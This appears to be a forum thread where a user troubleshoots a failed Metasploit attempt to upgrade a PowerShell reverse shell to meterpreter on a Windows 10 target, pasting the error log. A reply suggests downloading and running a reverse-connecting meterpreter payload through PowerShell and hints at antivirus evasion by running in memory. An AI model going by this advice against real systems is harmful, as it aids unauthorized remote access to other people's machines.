Hello Friends......I have run into something that I have been trying to find awnsers for..... I am trying to upgrade a PS reverse shell to meterpreter on a windows 10 target. Better if I can post as I don't know what to say or ask.

Code

msf5 post(multi/manage/shell_to_meterpreter) > sessions -u 1
[*] Executing 'post/multi/manage/shell_to_meterpreter' on session(s): [1]

[*] Upgrading session ID: 1
[*] Starting exploit/multi/handler
[*] Started reverse TCP handler on 192.168.XXX.XXX:4433
[-] Post failed: NoMethodError undefined method `reverse!' for nil:NilClass
[-] Call stack:
[-]  /usr/share/metasploit-framework/lib/msf/core/session/provider/single_command_shell.rb:136:in `shell_command_token_win32'
[-]  /usr/share/metasploit-framework/lib/msf/base/sessions/command_shell.rb:774:in `shell_command_token'
[-]  /usr/share/metasploit-framework/lib/msf/core/post/common.rb:147:in `cmd_exec'
[-]  /usr/share/metasploit-framework/lib/msf/core/post/windows/powershell.rb:32:in `have_powershell?'
[-]  /usr/share/metasploit-framework/modules/post/multi/manage/shell_to_meterpreter.rb:161:in `run'

Any assistance would be greatly appreciated !!!!!! The reference I have used are for netcat reverse shells.  Is the powershell reverse shell the problem instead for a netcat reverse shell..............Very frustrating it is!!!!
Thanks so much!!

If you already have access to powershell, you can use that to download and run a reverse connecting meterpreter payload. Or anything else really, assuming their antivirus doesn't block the payload when it hits the disk.

For starters, google how to download a file with PS, and how to execute it.
Ideally this would all be done in memory, but that's a bit more complicated.
Good luck.
